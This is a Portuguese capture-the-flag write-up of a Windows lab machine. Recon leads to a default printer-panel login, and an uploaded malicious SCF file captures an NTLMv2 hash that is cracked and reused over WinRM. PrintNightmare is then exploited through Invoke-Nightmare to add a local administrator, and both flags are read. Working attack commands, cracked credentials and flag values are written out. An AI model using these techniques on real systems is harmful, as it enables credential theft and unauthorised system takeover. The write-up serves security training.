Máquina Windows fácil onde através de um arquivo scf malicioso conseguimos a credencial de um usuário com permissão para obter acesso ao alvo usando o serviço WinRM. Por fim, exploramos a vulnerabilidade PrintNighmare e conseguimos escalar nosso privilégio obtendo um console como usuário Administrador.
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 127 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.
attacker> ping-c110.10.11.106PING10.10.11.106 (10.10.11.106) 56(84) bytes of data.64bytesfrom10.10.11.106:icmp_seq=1ttl=127time=164ms---10.10.11.106pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=164.348/164.348/164.348/0.000ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta nmap para verificar todas as portas (1-65535) no alvo.
A varredura revelou as portas abertas, portanto, ainda com o nmap, verifiquei quais versões de serviços estavam presentes nessas portas, bem como executei alguns scripts de enumeração padrão. Com isso, foram revelados os serviços HTTP, SMB, WinRM e suas respectivas versões.
attacker> nmap-sCV-p80,135,445,5985-vvv-n-Pn10.10.11.106-oXtcpScan.xmlPORTSTATESERVICEREASONVERSION80/tcpopenhttpsyn-ackttl127MicrosoftIIShttpd10.0|http-auth:|HTTP/1.1401Unauthorized\x0D|_Basicrealm=MFPFirmwareUpdateCenter.Pleaseenterpasswordforadmin|http-methods:|SupportedMethods:OPTIONSTRACEGETHEADPOST|_Potentiallyriskymethods:TRACE|_http-title:Sitedoesn't have a title (text/html; charset=UTF-8).|_http-server-header: Microsoft-IIS/10.0135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.0Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb-security-mode:| account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: disabled (dangerous, but default)| smb2-security-mode:| 3.1.1:|_ Message signing enabled but not required| smb2-time:| date: 2022-10-28T06:40:33|_ start_date: 2022-10-28T06:29:05| p2p-conficker:| Checking for Conficker.C or higher...| Check 1 (port 27578/tcp): CLEAN (Timeout)| Check 2 (port 18115/tcp): CLEAN (Timeout)| Check 3 (port 26928/udp): CLEAN (Timeout)| Check 4 (port 36762/udp): CLEAN (Timeout)|_ 0/4 checks are positive: Host is CLEAN or ports are blocked|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s
SMB (139, 445) Enumeration
Iniciando nossa enumeração pelo serviço SMB, podemos usar a ferramenta crackmapexec para obter informações sobre o alvo, com isso temos um Windows 10 Enterprise com o hostname DRIVER.
Podemos mapear recursos compartilhados via SMB usando a ferramenta smbmap, mas, neste caso, não é possível sem uma credencial.
attacker> smbmap-H10.10.11.106-uanonymous[!] Authentication error on 10.10.11.106
Por enquanto não temos muito o que fazer com SMB, então podemos passar para outro serviço.
HTTP (80) Enumeration
Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A ferramenta retornou informações como o software do servidor web (Microsoft-IIS), versão (10.0), linguagem (PHP) e cabeçalhos que foram enviados na resposta HTTP.
attacker> whatweb-vhttp://10.10.11.106/|teewhatweb.txtWhatWebreportforhttp://10.10.11.106/Status:401UnauthorizedTitle:<None>IP:10.10.11.106Country:RESERVED,ZZSummary : HTTPServer[Microsoft-IIS/10.0], Microsoft-IIS[10.0], PHP[7.3.25], WWW-Authenticate[MFP Firmware Update Center. Please enter password for admin][Basic], X-Powered-By[PHP/7.3.25]
...HTTPHeaders:HTTP/1.1401UnauthorizedContent-Type:text/html; charset=UTF-8Server:Microsoft-IIS/10.0X-Powered-By:PHP/7.3.25WWW-Authenticate:Basicrealm="MFP Firmware Update Center. Please enter password for admin"Date:Fri,28Oct202206:51:18GMTConnection:closeContent-Length:20
Ao abrir o servidor web no navegador, vemos um painel de autenticação. Após testar credenciais padrão conseguimos logar na aplicação com usuário e senha admin.
Ao logar, vemos uma aplicação relativa à administração de impressora.
No rodapé da página há um domínio, que podemos adicionar ao arquivo /etc/hosts de nossa máquina atacante.
Na aba Firmware Updates, há um botão para upload de arquivo e uma descrição dizendo que "o arquivo que fizermos upload será enviado para o compartilhamento de arquivos da aplicação", que é muito provavelmente o serviço SMB que vimos anteriormente. Assim "alguém irá revisar este arquivo manualmente".
SCF Malicious File
Tendo em mente que podemos enviar um arquivo para o SMB do alvo, e que alguém irá abri-lo, podemos pensar em criar um arquivo SCF malicioso.
Basicamente, se criarmos um arquivo .scf contendo um ícone envenenado e o enviarmos para o compartilhamento SMB do alvo, quando o host do alvo se conectar ao compartilhamento que contém este arquivo, só de visualizar o ícone do arquivo .scf, ele será envenenado e o atacante receberá seu hash NTLMv2.
Agora que estamos claros sobre nosso objetivo, vamos criar o arquivo scf malicioso.
Neste arquivo estamos definindo um ícone, e este é o ponto, nele colocamos o endereço de um servidor SMB que estaremos compartilhando na nossa máquina atacante, por isso que quando alguém no alvo visualizar o ícone deste arquivo, receberemos seu hash NTLMv2.
Então basta montamos este servidor SMB em nossa máquina atacante com o comando impacket-smbserver smbFolder $(pwd) e enviarmos o arquivo scf para o alvo no servidor web.
Após o upload, uma vez vejam o arquivo scf malicioso, receberemos seu hash NTLMv2 por conta de seu ícone envenenado.
Podemos quebrar este hash offline com a ferramenta JohnTheRipper. Assim, usando em conjunto do dicionário rockyou.txt, obtemos a senha do hash em texto claro.
Como a porta 5985 (WinRM) do alvo também está aberta, podemos ver se com essas credenciais podemos acessar esse serviço. Nos é retornado (Pwn3d!), o que significa que este usuário faz parte do grupo Remote Management Users, podendo acessar o host remotamente utilizando o serviço WinRM.
Assim, podemos usar a ferramenta evil-winrm para obter esse acesso remoto ao alvo.
attacker> evil-winrm-i10.10.11.106-u'tony'-p'liltony'Evil-WinRMshellv3.4Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data:Formoreinformation,checkEvil-WinRMGithub:https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo:Establishingconnectiontoremoteendpoint*Evil-WinRM* PS C:\Users\tony\Documents> ipconfigWindowsIPConfigurationEthernetadapterEthernet0:Connection-specificDNSSuffix.:htbIPv6Address...........:dead:beef::231IPv6Address...........:dead:beef::3dcd:fa8d:d7ef:7ddTemporaryIPv6Address......:dead:beef::4ad:afe7:60d4:e630Link-localIPv6Address.....:fe80::3dcd:fa8d:d7ef:7dd%5IPv4Address...........:10.10.11.106SubnetMask...........:255.255.254.0DefaultGateway.........:fe80::250:56ff:feb9:d291%510.10.10.2Tunneladapterisatap.{99C52957-7ED3-4943-91B6-CD52EF4D6AFC}:MediaState...........:MediadisconnectedConnection-specificDNSSuffix.:htb
Uma vez logado, naveguei até o Desktop do usuário tony e encontrei a flag user.txt.
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txtf08d3a777be15a8442783b1a0f91f61c
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.
Privilege Escalation
Para iniciar a fase de internal discovery, transferi o script de enumeração WinPEAS para o alvo.
attacker> cp /usr/share/peass/winpeas/winPEASany.exe .
attacker> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
*Evil-WinRM* PS C:\Windows\Temp\Privesc> .\winPEASany.exe
ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
((((((((((((((((((((((((((((((((
(((((((((((((((((((((((((((((((((((((((((((
((((((((((((((**********/##########(((((((((((((
((((((((((((********************/#######(((((((((((
((((((((******************/@@@@@/****######((((((((((
((((((********************@@@@@@@@@@/***,####((((((((((
(((((********************/@@@@@%@@@@/********##(((((((((
(((############*********/%@@@@@@@@@/************((((((((
((##################(/******/@@@@@/***************((((((
((#########################(/**********************(((((
((##############################(/*****************(((((
((###################################(/************(((((
((#######################################(*********(((((
((#######(,.***.,(###################(..***.*******(((((
((#######*(#####((##################((######/(*****(((((
((###################(/***********(##############()(((((
(((#####################/*******(################)((((((
((((############################################)((((((
(((((##########################################)(((((((
((((((########################################)(((((((
((((((((####################################)((((((((
(((((((((#################################)(((((((((
((((((((((##########################)(((((((((
((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((
ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.
WinPEAS-ng by @carlospolopm
...
Como resultado da enumeração, uma das coisas que o WinPEAS encontrou foi o serviço spoolsv rodando localmente. Isto chama bastante atenção pois há uma vulnerabilidade popularmente chamada de PrintNightmare que afeta este serviço de pooler de impressão.
Portanto, podemos explorar esta vulnerabilidade para escalar nossos privilégios.
what is PrintNightmare (CVE-2021-34527)?
A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
Primeiro, vamos fazer download do exploit e transferir para o alvo.
Seguindo o passo a passo presente no repositório do exploit, podemos adicionar um novo usuário do sistema ao grupo de administradores locais.
*Evil-WinRM* PS C:\Windows\Temp\Privesc> Invoke-Nightmare -DriverName "Xerox" -NewUser "bruno" -NewPassword "#Bruno1337"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user bruno as local administrator[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
Ao executar o comando acima, teremos adicionado um novo usuário administrador ao sistema, neste caso chamado bruno.
*Evil-WinRM* PS C:\Windows\Temp\Privesc> net user brunoUsernamebrunoFullNamebrunoCommentUser's commentCountry/region code 000 (System Default)Account active YesAccount expires NeverPassword last set 10/28/2022 1:20:35 AMPassword expires NeverPassword changeable 10/28/2022 1:20:35 AMPassword required YesUser may change password YesWorkstations allowed AllLogon scriptUser profileHome directoryLast logon NeverLogon hours allowed AllLocal Group Memberships *AdministratorsGlobal Group memberships *NoneThe command completed successfully.
Ou seja, se validarmos a credencial deste usuário em nossa máquina atacante com crackmapexec, vemos que nos é retornado (Pwn3d!) tanto com SMB quanto com WinRM.
Isso significa que podemos entrar no alvo com o evil-winrm e assim ter um console com um usuário privilegiado no sistema.
attacker> evil-winrm-i10.10.11.106-u'bruno'-p'#Bruno1337'Evil-WinRMshellv3.4Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data:Formoreinformation,checkEvil-WinRMGithub:https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo:Establishingconnectiontoremoteendpoint*Evil-WinRM* PS C:\Users\bruno\Documents> whoamidriver\bruno
Então basta ler a flag root.txt no Desktop do Administrator para concluir o objetivo do CTF.
*Evil-WinRM* PS C:\Users\bruno\Documents> cd \Users\Administrator\Desktop*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt76653a9e57273e3102441eef7d232c54
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.